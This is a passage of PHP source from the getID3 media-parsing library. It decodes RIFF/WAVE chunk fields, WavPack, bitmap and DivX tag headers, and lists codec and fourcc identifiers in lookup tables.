								$RIFFchunk[$chunkname][$thisindex]['parsed']['vt_starthunds']   = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 120,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcat']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 122,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorcopy']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 125,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['priorpadd']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 129,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcat']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 130,   3);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postcopy']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 133,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['postpadd']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 137,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['hrcanplay']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 138,  21);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['future2']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 159, 108);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['artist']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 267,  34);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['comment']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 301,  34); // "trivia" in other documentation
								$RIFFchunk[$chunkname][$thisindex]['parsed']['intro']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 335,   2);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['end']             =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 337,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['year']            =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 338,   4);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['obsolete2']       =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 342,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rec_hr']          =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 343,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['rdate']           =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 344,   6);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['mpeg_bitrate']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 350,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['pitch']           = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 352,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['playlevel']       = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 354,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['lenvalid']        =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 356,   1);
								$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 357,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['newplaylevel']    = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 361,   2));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['chopsize']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 363,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['vteomovr']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 367,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['desiredlen']      = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 371,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['triggers']        = getid3_lib::LittleEndian2Int(substr($RIFFchunk[$chunkname][$thisindex]['data'], 375,   4));
								$RIFFchunk[$chunkname][$thisindex]['parsed']['fillout']         =                              substr($RIFFchunk[$chunkname][$thisindex]['data'], 379,   33);

								foreach (array('title', 'artist', 'comment') as $key) {
									if (trim($RIFFchunk[$chunkname][$thisindex]['parsed'][$key])) {
										$info['riff']['comments'][$key] = array($RIFFchunk[$chunkname][$thisindex]['parsed'][$key]);
									}
								}
								if ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] && !empty($info['filesize']) && ($RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'] != $info['filesize'])) {
									$this->warning('RIFF.WAVE.scot.filelength ('.$RIFFchunk[$chunkname][$thisindex]['parsed']['filelength'].') different from actual filesize ('.$info['filesize'].')');
								}
								break;

							default:
								if (!empty($LISTchunkParent) && isset($LISTchunkMaxOffset) && (($RIFFchunk[$chunkname][$thisindex]['offset'] + $RIFFchunk[$chunkname][$thisindex]['size']) <= $LISTchunkMaxOffset)) {
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['offset'] = $RIFFchunk[$chunkname][$thisindex]['offset'];
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['size']   = $RIFFchunk[$chunkname][$thisindex]['size'];
									unset($RIFFchunk[$chunkname][$thisindex]['offset']);
									unset($RIFFchunk[$chunkname][$thisindex]['size']);
									if (isset($RIFFchunk[$chunkname][$thisindex]) && empty($RIFFchunk[$chunkname][$thisindex])) {
										unset($RIFFchunk[$chunkname][$thisindex]);
									}
									if (count($RIFFchunk[$chunkname]) === 0) {
										unset($RIFFchunk[$chunkname]);
									}
									$RIFFchunk[$LISTchunkParent][$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} elseif ($chunksize < 2048) {
									// only read data in if smaller than 2kB
									$RIFFchunk[$chunkname][$thisindex]['data'] = $this->fread($chunksize);
								} else {
									$this->fseek($chunksize, SEEK_CUR);
								}
								break;
						}
						break;
				}
			}

		} catch (getid3_exception $e) {
			if ($e->getCode() == 10) {
				$this->warning('RIFF parser: '.$e->getMessage());
			} else {
				throw $e;
			}
		}

		return !empty($RIFFchunk) ? $RIFFchunk : false;
	}

	/**
	 * @param string $RIFFdata
	 *
	 * @return bool
	 */
	public function ParseRIFFdata(&$RIFFdata) {
		$info = &$this->getid3->info;
		if ($RIFFdata) {
			$tempfile = tempnam(GETID3_TEMP_DIR, 'getID3');
			$fp_temp  = fopen($tempfile, 'wb');
			$RIFFdataLength = strlen($RIFFdata);
			$NewLengthString = getid3_lib::LittleEndian2String($RIFFdataLength, 4);
			for ($i = 0; $i < 4; $i++) {
				$RIFFdata[($i + 4)] = $NewLengthString[$i];
			}
			fwrite($fp_temp, $RIFFdata);
			fclose($fp_temp);

			$getid3_temp = new getID3();
			$getid3_temp->openfile($tempfile);
			$getid3_temp->info['filesize']     = $RIFFdataLength;
			$getid3_temp->info['filenamepath'] = $info['filenamepath'];
			$getid3_temp->info['tags']         = $info['tags'];
			$getid3_temp->info['warning']      = $info['warning'];
			$getid3_temp->info['error']        = $info['error'];
			$getid3_temp->info['comments']     = $info['comments'];
			$getid3_temp->info['audio']        = (isset($info['audio']) ? $info['audio'] : array());
			$getid3_temp->info['video']        = (isset($info['video']) ? $info['video'] : array());
			$getid3_riff = new getid3_riff($getid3_temp);
			$getid3_riff->Analyze();

			$info['riff']     = $getid3_temp->info['riff'];
			$info['warning']  = $getid3_temp->info['warning'];
			$info['error']    = $getid3_temp->info['error'];
			$info['tags']     = $getid3_temp->info['tags'];
			$info['comments'] = $getid3_temp->info['comments'];
			unset($getid3_riff, $getid3_temp);
			unlink($tempfile);
		}
		return false;
	}

	/**
	 * @param array $RIFFinfoArray
	 * @param array $CommentsTargetArray
	 *
	 * @return bool
	 */
	public static function parseComments(&$RIFFinfoArray, &$CommentsTargetArray) {
		$RIFFinfoKeyLookup = array(
			'IARL'=>'archivallocation',
			'IART'=>'artist',
			'ICDS'=>'costumedesigner',
			'ICMS'=>'commissionedby',
			'ICMT'=>'comment',
			'ICNT'=>'country',
			'ICOP'=>'copyright',
			'ICRD'=>'creationdate',
			'IDIM'=>'dimensions',
			'IDIT'=>'digitizationdate',
			'IDPI'=>'resolution',
			'IDST'=>'distributor',
			'IEDT'=>'editor',
			'IENG'=>'engineers',
			'IFRM'=>'accountofparts',
			'IGNR'=>'genre',
			'IKEY'=>'keywords',
			'ILGT'=>'lightness',
			'ILNG'=>'language',
			'IMED'=>'orignalmedium',
			'IMUS'=>'composer',
			'INAM'=>'title',
			'IPDS'=>'productiondesigner',
			'IPLT'=>'palette',
			'IPRD'=>'product',
			'IPRO'=>'producer',
			'IPRT'=>'part',
			'IRTD'=>'rating',
			'ISBJ'=>'subject',
			'ISFT'=>'software',
			'ISGN'=>'secondarygenre',
			'ISHP'=>'sharpness',
			'ISRC'=>'sourcesupplier',
			'ISRF'=>'digitizationsource',
			'ISTD'=>'productionstudio',
			'ISTR'=>'starring',
			'ITCH'=>'encoded_by',
			'IWEB'=>'url',
			'IWRI'=>'writer',
			'____'=>'comment',
		);
		foreach ($RIFFinfoKeyLookup as $key => $value) {
			if (isset($RIFFinfoArray[$key])) {
				foreach ($RIFFinfoArray[$key] as $commentid => $commentdata) {
					if (!empty($commentdata['data']) && trim($commentdata['data']) != '') {
						if (isset($CommentsTargetArray[$value])) {
							$CommentsTargetArray[$value][] =     trim($commentdata['data']);
						} else {
							$CommentsTargetArray[$value] = array(trim($commentdata['data']));
						}
					}
				}
			}
		}
		return true;
	}

	/**
	 * @param string $WaveFormatExData
	 *
	 * @return array
	 */
	public static function parseWAVEFORMATex($WaveFormatExData) {
		// shortcut
		$WaveFormatEx        = array();
		$WaveFormatEx['raw'] = array();
		$WaveFormatEx_raw    = &$WaveFormatEx['raw'];

		$WaveFormatEx_raw['wFormatTag']      = substr($WaveFormatExData,  0, 2);
		$WaveFormatEx_raw['nChannels']       = substr($WaveFormatExData,  2, 2);
		$WaveFormatEx_raw['nSamplesPerSec']  = substr($WaveFormatExData,  4, 4);
		$WaveFormatEx_raw['nAvgBytesPerSec'] = substr($WaveFormatExData,  8, 4);
		$WaveFormatEx_raw['nBlockAlign']     = substr($WaveFormatExData, 12, 2);
		$WaveFormatEx_raw['wBitsPerSample']  = substr($WaveFormatExData, 14, 2);
		if (strlen($WaveFormatExData) > 16) {
			$WaveFormatEx_raw['cbSize']      = substr($WaveFormatExData, 16, 2);
		}
		$WaveFormatEx_raw = array_map('getid3_lib::LittleEndian2Int', $WaveFormatEx_raw);

		$WaveFormatEx['codec']           = self::wFormatTagLookup($WaveFormatEx_raw['wFormatTag']);
		$WaveFormatEx['channels']        = $WaveFormatEx_raw['nChannels'];
		$WaveFormatEx['sample_rate']     = $WaveFormatEx_raw['nSamplesPerSec'];
		$WaveFormatEx['bitrate']         = $WaveFormatEx_raw['nAvgBytesPerSec'] * 8;
		$WaveFormatEx['bits_per_sample'] = $WaveFormatEx_raw['wBitsPerSample'];

		return $WaveFormatEx;
	}

	/**
	 * @param string $WavPackChunkData
	 *
	 * @return bool
	 */
	public function parseWavPackHeader($WavPackChunkData) {
		// typedef struct {
		//     char ckID [4];
		//     long ckSize;
		//     short version;
		//     short bits;                // added for version 2.00
		//     short flags, shift;        // added for version 3.00
		//     long total_samples, crc, crc2;
		//     char extension [4], extra_bc, extras [3];
		// } WavpackHeader;

		// shortcut
		$info = &$this->getid3->info;
		$info['wavpack']  = array();
		$thisfile_wavpack = &$info['wavpack'];

		$thisfile_wavpack['version']           = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  0, 2));
		if ($thisfile_wavpack['version'] >= 2) {
			$thisfile_wavpack['bits']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  2, 2));
		}
		if ($thisfile_wavpack['version'] >= 3) {
			$thisfile_wavpack['flags_raw']     = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  4, 2));
			$thisfile_wavpack['shift']         = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  6, 2));
			$thisfile_wavpack['total_samples'] = getid3_lib::LittleEndian2Int(substr($WavPackChunkData,  8, 4));
			$thisfile_wavpack['crc1']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 12, 4));
			$thisfile_wavpack['crc2']          = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 16, 4));
			$thisfile_wavpack['extension']     =                              substr($WavPackChunkData, 20, 4);
			$thisfile_wavpack['extra_bc']      = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 24, 1));
			for ($i = 0; $i <= 2; $i++) {
				$thisfile_wavpack['extras'][]  = getid3_lib::LittleEndian2Int(substr($WavPackChunkData, 25 + $i, 1));
			}

			// shortcut
			$thisfile_wavpack['flags'] = array();
			$thisfile_wavpack_flags = &$thisfile_wavpack['flags'];

			$thisfile_wavpack_flags['mono']                 = (bool) ($thisfile_wavpack['flags_raw'] & 0x000001);
			$thisfile_wavpack_flags['fast_mode']            = (bool) ($thisfile_wavpack['flags_raw'] & 0x000002);
			$thisfile_wavpack_flags['raw_mode']             = (bool) ($thisfile_wavpack['flags_raw'] & 0x000004);
			$thisfile_wavpack_flags['calc_noise']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x000008);
			$thisfile_wavpack_flags['high_quality']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000010);
			$thisfile_wavpack_flags['3_byte_samples']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000020);
			$thisfile_wavpack_flags['over_20_bits']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000040);
			$thisfile_wavpack_flags['use_wvc']              = (bool) ($thisfile_wavpack['flags_raw'] & 0x000080);
			$thisfile_wavpack_flags['noiseshaping']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x000100);
			$thisfile_wavpack_flags['very_fast_mode']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000200);
			$thisfile_wavpack_flags['new_high_quality']     = (bool) ($thisfile_wavpack['flags_raw'] & 0x000400);
			$thisfile_wavpack_flags['cancel_extreme']       = (bool) ($thisfile_wavpack['flags_raw'] & 0x000800);
			$thisfile_wavpack_flags['cross_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x001000);
			$thisfile_wavpack_flags['new_decorrelation']    = (bool) ($thisfile_wavpack['flags_raw'] & 0x002000);
			$thisfile_wavpack_flags['joint_stereo']         = (bool) ($thisfile_wavpack['flags_raw'] & 0x004000);
			$thisfile_wavpack_flags['extra_decorrelation']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x008000);
			$thisfile_wavpack_flags['override_noiseshape']  = (bool) ($thisfile_wavpack['flags_raw'] & 0x010000);
			$thisfile_wavpack_flags['override_jointstereo'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x020000);
			$thisfile_wavpack_flags['copy_source_filetime'] = (bool) ($thisfile_wavpack['flags_raw'] & 0x040000);
			$thisfile_wavpack_flags['create_exe']           = (bool) ($thisfile_wavpack['flags_raw'] & 0x080000);
		}

		return true;
	}

	/**
	 * @param string $BITMAPINFOHEADER
	 * @param bool   $littleEndian
	 *
	 * @return array
	 */
	public static function ParseBITMAPINFOHEADER($BITMAPINFOHEADER, $littleEndian=true) {

		$parsed                    = array();
		$parsed['biSize']          = substr($BITMAPINFOHEADER,  0, 4); // number of bytes required by the BITMAPINFOHEADER structure
		$parsed['biWidth']         = substr($BITMAPINFOHEADER,  4, 4); // width of the bitmap in pixels
		$parsed['biHeight']        = substr($BITMAPINFOHEADER,  8, 4); // height of the bitmap in pixels. If biHeight is positive, the bitmap is a 'bottom-up' DIB and its origin is the lower left corner. If biHeight is negative, the bitmap is a 'top-down' DIB and its origin is the upper left corner
		$parsed['biPlanes']        = substr($BITMAPINFOHEADER, 12, 2); // number of color planes on the target device. In most cases this value must be set to 1
		$parsed['biBitCount']      = substr($BITMAPINFOHEADER, 14, 2); // Specifies the number of bits per pixels
		$parsed['biSizeImage']     = substr($BITMAPINFOHEADER, 20, 4); // size of the bitmap data section of the image (the actual pixel data, excluding BITMAPINFOHEADER and RGBQUAD structures)
		$parsed['biXPelsPerMeter'] = substr($BITMAPINFOHEADER, 24, 4); // horizontal resolution, in pixels per metre, of the target device
		$parsed['biYPelsPerMeter'] = substr($BITMAPINFOHEADER, 28, 4); // vertical resolution, in pixels per metre, of the target device
		$parsed['biClrUsed']       = substr($BITMAPINFOHEADER, 32, 4); // actual number of color indices in the color table used by the bitmap. If this value is zero, the bitmap uses the maximum number of colors corresponding to the value of the biBitCount member for the compression mode specified by biCompression
		$parsed['biClrImportant']  = substr($BITMAPINFOHEADER, 36, 4); // number of color indices that are considered important for displaying the bitmap. If this value is zero, all colors are important
		$parsed = array_map('getid3_lib::'.($littleEndian ? 'Little' : 'Big').'Endian2Int', $parsed);

		$parsed['fourcc']          = substr($BITMAPINFOHEADER, 16, 4);  // compression identifier

		return $parsed;
	}

	/**
	 * @param string $DIVXTAG
	 * @param bool   $raw
	 *
	 * @return array
	 */
	public static function ParseDIVXTAG($DIVXTAG, $raw=false) {
		// structure from "IDivX" source, Form1.frm, by "Greg Frazier of Daemonic Software Group", email: gfrazier@icestorm.net, web: http://dsg.cjb.net/
		// source available at http://files.divx-digest.com/download/c663efe7ef8ad2e90bf4af4d3ea6188a/on0SWN2r/edit/IDivX.zip
		// 'Byte Layout:                   '1111111111111111
		// '32 for Movie - 1               '1111111111111111
		// '28 for Author - 6              '6666666666666666
		// '4  for year - 2                '6666666666662222
		// '3  for genre - 3               '7777777777777777
		// '48 for Comments - 7            '7777777777777777
		// '1  for Rating - 4              '7777777777777777
		// '5  for Future Additions - 0    '333400000DIVXTAG
		// '128 bytes total

		static $DIVXTAGgenre  = array(
			 0 => 'Action',
			 1 => 'Action/Adventure',
			 2 => 'Adventure',
			 3 => 'Adult',
			 4 => 'Anime',
			 5 => 'Cartoon',
			 6 => 'Claymation',
			 7 => 'Comedy',
			 8 => 'Commercial',
			 9 => 'Documentary',
			10 => 'Drama',
			11 => 'Home Video',
			12 => 'Horror',
			13 => 'Infomercial',
			14 => 'Interactive',
			15 => 'Mystery',
			16 => 'Music Video',
			17 => 'Other',
			18 => 'Religion',
			19 => 'Sci Fi',
			20 => 'Thriller',
			21 => 'Western',
		),
		$DIVXTAGrating = array(
			 0 => 'Unrated',
			 1 => 'G',
			 2 => 'PG',
			 3 => 'PG-13',
			 4 => 'R',
			 5 => 'NC-17',
		);

		$parsed              = array();
		$parsed['title']     =        trim(substr($DIVXTAG,   0, 32));
		$parsed['artist']    =        trim(substr($DIVXTAG,  32, 28));
		$parsed['year']      = intval(trim(substr($DIVXTAG,  60,  4)));
		$parsed['comment']   =        trim(substr($DIVXTAG,  64, 48));
		$parsed['genre_id']  = intval(trim(substr($DIVXTAG, 112,  3)));
		$parsed['rating_id'] =         ord(substr($DIVXTAG, 115,  1));
		//$parsed['padding'] =             substr($DIVXTAG, 116,  5);  // 5-byte null
		//$parsed['magic']   =             substr($DIVXTAG, 121,  7);  // "DIVXTAG"

		$parsed['genre']  = (isset($DIVXTAGgenre[$parsed['genre_id']])   ? $DIVXTAGgenre[$parsed['genre_id']]   : $parsed['genre_id']);
		$parsed['rating'] = (isset($DIVXTAGrating[$parsed['rating_id']]) ? $DIVXTAGrating[$parsed['rating_id']] : $parsed['rating_id']);

		if (!$raw) {
			unset($parsed['genre_id'], $parsed['rating_id']);
			foreach ($parsed as $key => $value) {
				if (empty($value)) {
					unset($parsed[$key]);
				}
			}
		}

		foreach ($parsed as $tag => $value) {
			$parsed[$tag] = array($value);
		}

		return $parsed;
	}

	/**
	 * @param string $tagshortname
	 *
	 * @return string
	 */
	public static function waveSNDMtagLookup($tagshortname) {
		$begin = __LINE__;

		/** This is not a comment!

			©kwd	keywords
			©BPM	bpm
			©trt	tracktitle
			©des	description
			©gen	category
			©fin	featuredinstrument
			©LID	longid
			©bex	bwdescription
			©pub	publisher
			©cdt	cdtitle
			©alb	library
			©com	composer

		*/

		return getid3_lib::EmbeddedLookup($tagshortname, $begin, __LINE__, __FILE__, 'riff-sndm');
	}

	/**
	 * @param int $wFormatTag
	 *
	 * @return string
	 */
	public static function wFormatTagLookup($wFormatTag) {

		$begin = __LINE__;

		/** This is not a comment!

			0x0000	Microsoft Unknown Wave Format
			0x0001	Pulse Code Modulation (PCM)
			0x0002	Microsoft ADPCM
			0x0003	IEEE Float
			0x0004	Compaq Computer VSELP
			0x0005	IBM CVSD
			0x0006	Microsoft A-Law
			0x0007	Microsoft mu-Law
			0x0008	Microsoft DTS
			0x0010	OKI ADPCM
			0x0011	Intel DVI/IMA ADPCM
			0x0012	Videologic MediaSpace ADPCM
			0x0013	Sierra Semiconductor ADPCM
			0x0014	Antex Electronics G.723 ADPCM
			0x0015	DSP Solutions DigiSTD
			0x0016	DSP Solutions DigiFIX
			0x0017	Dialogic OKI ADPCM
			0x0018	MediaVision ADPCM
			0x0019	Hewlett-Packard CU
			0x0020	Yamaha ADPCM
			0x0021	Speech Compression Sonarc
			0x0022	DSP Group TrueSpeech
			0x0023	Echo Speech EchoSC1
			0x0024	Audiofile AF36
			0x0025	Audio Processing Technology APTX
			0x0026	AudioFile AF10
			0x0027	Prosody 1612
			0x0028	LRC
			0x0030	Dolby AC2
			0x0031	Microsoft GSM 6.10
			0x0032	MSNAudio
			0x0033	Antex Electronics ADPCME
			0x0034	Control Resources VQLPC
			0x0035	DSP Solutions DigiREAL
			0x0036	DSP Solutions DigiADPCM
			0x0037	Control Resources CR10
			0x0038	Natural MicroSystems VBXADPCM
			0x0039	Crystal Semiconductor IMA ADPCM
			0x003A	EchoSC3
			0x003B	Rockwell ADPCM
			0x003C	Rockwell Digit LK
			0x003D	Xebec
			0x0040	Antex Electronics G.721 ADPCM
			0x0041	G.728 CELP
			0x0042	MSG723
			0x0050	MPEG Layer-2 or Layer-1
			0x0052	RT24
			0x0053	PAC
			0x0055	MPEG Layer-3
			0x0059	Lucent G.723
			0x0060	Cirrus
			0x0061	ESPCM
			0x0062	Voxware
			0x0063	Canopus Atrac
			0x0064	G.726 ADPCM
			0x0065	G.722 ADPCM
			0x0066	DSAT
			0x0067	DSAT Display
			0x0069	Voxware Byte Aligned
			0x0070	Voxware AC8
			0x0071	Voxware AC10
			0x0072	Voxware AC16
			0x0073	Voxware AC20
			0x0074	Voxware MetaVoice
			0x0075	Voxware MetaSound
			0x0076	Voxware RT29HW
			0x0077	Voxware VR12
			0x0078	Voxware VR18
			0x0079	Voxware TQ40
			0x0080	Softsound
			0x0081	Voxware TQ60
			0x0082	MSRT24
			0x0083	G.729A
			0x0084	MVI MV12
			0x0085	DF G.726
			0x0086	DF GSM610
			0x0088	ISIAudio
			0x0089	Onlive
			0x0091	SBC24
			0x0092	Dolby AC3 SPDIF
			0x0093	MediaSonic G.723
			0x0094	Aculab PLC    Prosody 8kbps
			0x0097	ZyXEL ADPCM
			0x0098	Philips LPCBB
			0x0099	Packed
			0x00FF	AAC
			0x0100	Rhetorex ADPCM
			0x0101	IBM mu-law
			0x0102	IBM A-law
			0x0103	IBM AVC Adaptive Differential Pulse Code Modulation (ADPCM)
			0x0111	Vivo G.723
			0x0112	Vivo Siren
			0x0123	Digital G.723
			0x0125	Sanyo LD ADPCM
			0x0130	Sipro Lab Telecom ACELP NET
			0x0131	Sipro Lab Telecom ACELP 4800
			0x0132	Sipro Lab Telecom ACELP 8V3
			0x0133	Sipro Lab Telecom G.729
			0x0134	Sipro Lab Telecom G.729A
			0x0135	Sipro Lab Telecom Kelvin
			0x0140	Windows Media Video V8
			0x0150	Qualcomm PureVoice
			0x0151	Qualcomm HalfRate
			0x0155	Ring Zero Systems TUB GSM
			0x0160	Microsoft Audio 1
			0x0161	Windows Media Audio V7 / V8 / V9
			0x0162	Windows Media Audio Professional V9
			0x0163	Windows Media Audio Lossless V9
			0x0200	Creative Labs ADPCM
			0x0202	Creative Labs Fastspeech8
			0x0203	Creative Labs Fastspeech10
			0x0210	UHER Informatic GmbH ADPCM
			0x0220	Quarterdeck
			0x0230	I-link Worldwide VC
			0x0240	Aureal RAW Sport
			0x0250	Interactive Products HSX
			0x0251	Interactive Products RPELP
			0x0260	Consistent Software CS2
			0x0270	Sony SCX
			0x0300	Fujitsu FM Towns Snd
			0x0400	BTV Digital
			0x0401	Intel Music Coder
			0x0450	QDesign Music
			0x0680	VME VMPCM
			0x0681	AT&T Labs TPC
			0x08AE	ClearJump LiteWave
			0x1000	Olivetti GSM
			0x1001	Olivetti ADPCM
			0x1002	Olivetti CELP
			0x1003	Olivetti SBC
			0x1004	Olivetti OPR
			0x1100	Lernout & Hauspie Codec (0x1100)
			0x1101	Lernout & Hauspie CELP Codec (0x1101)
			0x1102	Lernout & Hauspie SBC Codec (0x1102)
			0x1103	Lernout & Hauspie SBC Codec (0x1103)
			0x1104	Lernout & Hauspie SBC Codec (0x1104)
			0x1400	Norris
			0x1401	AT&T ISIAudio
			0x1500	Soundspace Music Compression
			0x181C	VoxWare RT24 Speech
			0x1FC4	NCT Soft ALF2CD (www.nctsoft.com)
			0x2000	Dolby AC3
			0x2001	Dolby DTS
			0x2002	WAVE_FORMAT_14_4
			0x2003	WAVE_FORMAT_28_8
			0x2004	WAVE_FORMAT_COOK
			0x2005	WAVE_FORMAT_DNET
			0x674F	Ogg Vorbis 1
			0x6750	Ogg Vorbis 2
			0x6751	Ogg Vorbis 3
			0x676F	Ogg Vorbis 1+
			0x6770	Ogg Vorbis 2+
			0x6771	Ogg Vorbis 3+
			0x7A21	GSM-AMR (CBR, no SID)
			0x7A22	GSM-AMR (VBR, including SID)
			0xFFFE	WAVE_FORMAT_EXTENSIBLE
			0xFFFF	WAVE_FORMAT_DEVELOPMENT

		*/

		return getid3_lib::EmbeddedLookup('0x'.str_pad(strtoupper(dechex($wFormatTag)), 4, '0', STR_PAD_LEFT), $begin, __LINE__, __FILE__, 'riff-wFormatTag');
	}

	/**
	 * @param string $fourcc
	 *
	 * @return string
	 */
	public static function fourccLookup($fourcc) {

		$begin = __LINE__;

		/** This is not a comment!

			swot	http://developer.apple.com/qa/snd/snd07.html
			____	No Codec (____)
			_BIT	BI_BITFIELDS (Raw RGB)
			_JPG	JPEG compressed
			_PNG	PNG compressed W3C/ISO/IEC (RFC-2083)
			_RAW	Full Frames (Uncompressed)
			_RGB	Raw RGB Bitmap
			_RL4	RLE 4bpp RGB
			_RL8	RLE 8bpp RGB
			3IV1	3ivx MPEG-4 v1
			3IV2	3ivx MPEG-4 v2
			3IVX	3ivx MPEG-4
			AASC	Autodesk Animator
			ABYR	Kensington ?ABYR?
			AEMI	Array Microsystems VideoONE MPEG1-I Capture
			AFLC	Autodesk Animator FLC
			AFLI	Autodesk Animator FLI
			AMPG	Array Microsystems VideoONE MPEG
			ANIM	Intel RDX (ANIM)
			AP41	AngelPotion Definitive
			ASV1	Asus Video v1
			ASV2	Asus Video v2
			ASVX	Asus Video 2.0 (audio)
			AUR2	AuraVision Aura 2 Codec - YUV 4:2:2
			AURA	AuraVision Aura 1 Codec - YUV 4:1:1
			AVDJ	Independent JPEG Group\'s codec (AVDJ)
			AVRN	Independent JPEG Group\'s codec (AVRN)
			AYUV	4:4:4 YUV (AYUV)
			AZPR	Quicktime Apple Video (AZPR)
			BGR 	Raw RGB32
			BLZ0	Blizzard DivX MPEG-4
			BTVC	Conexant Composite Video
			BINK	RAD Game Tools Bink Video
			BT20	Conexant Prosumer Video
			BTCV	Conexant Composite Video Codec
			BW10	Data Translation Broadway MPEG Capture
			CC12	Intel YUV12
			CDVC	Canopus DV
			CFCC	Digital Processing Systems DPS Perception
			CGDI	Microsoft Office 97 Camcorder Video
			CHAM	Winnov Caviara Champagne
			CJPG	Creative WebCam JPEG
			CLJR	Cirrus Logic YUV 4:1:1
			CMYK	Common Data Format in Printing (Colorgraph)
			CPLA	Weitek 4:2:0 YUV Planar
			CRAM	Microsoft Video 1 (CRAM)
			cvid	Radius Cinepak
			CVID	Radius Cinepak
			CWLT	Microsoft Color WLT DIB
			CYUV	Creative Labs YUV
			CYUY	ATI YUV
			D261	H.261
			D263	H.263
			DIB 	Device Independent Bitmap
			DIV1	FFmpeg OpenDivX
			DIV2	Microsoft MPEG-4 v1/v2
			DIV3	DivX ;-) MPEG-4 v3.x Low-Motion
			DIV4	DivX ;-) MPEG-4 v3.x Fast-Motion
			DIV5	DivX MPEG-4 v5.x
			DIV6	DivX ;-) (MS MPEG-4 v3.x)
			DIVX	DivX MPEG-4 v4 (OpenDivX / Project Mayo)
			divx	DivX MPEG-4
			DMB1	Matrox Rainbow Runner hardware MJPEG
			DMB2	Paradigm MJPEG
			DSVD	?DSVD?
			DUCK	Duck TrueMotion 1.0
			DPS0	DPS/Leitch Reality Motion JPEG
			DPSC	DPS/Leitch PAR Motion JPEG
			DV25	Matrox DVCPRO codec
			DV50	Matrox DVCPRO50 codec
			DVC 	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVCP	IEC 61834 and SMPTE 314M (DVC/DV Video)
			DVHD	IEC Standard DV 1125 lines @ 30fps / 1250 lines @ 25fps
			DVMA	Darim Vision DVMPEG (dummy for MPEG compressor) (www.darvision.com)
			DVSL	IEC Standard DV compressed in SD (SDL)
			DVAN	?DVAN?
			DVE2	InSoft DVE-2 Videoconferencing
			dvsd	IEC 61834 and SMPTE 314M DVC/DV Video
			DVSD	IEC 61834 and SMPTE 314M DVC/DV Video
			DVX1	Lucent DVX1000SP Video Decoder
			DVX2	Lucent DVX2000S Video Decoder
			DVX3	Lucent DVX3000S Video Decoder
			DX50	DivX v5
			DXT1	Microsoft DirectX Compressed Texture (DXT1)
			DXT2	Microsoft DirectX Compressed Texture (DXT2)
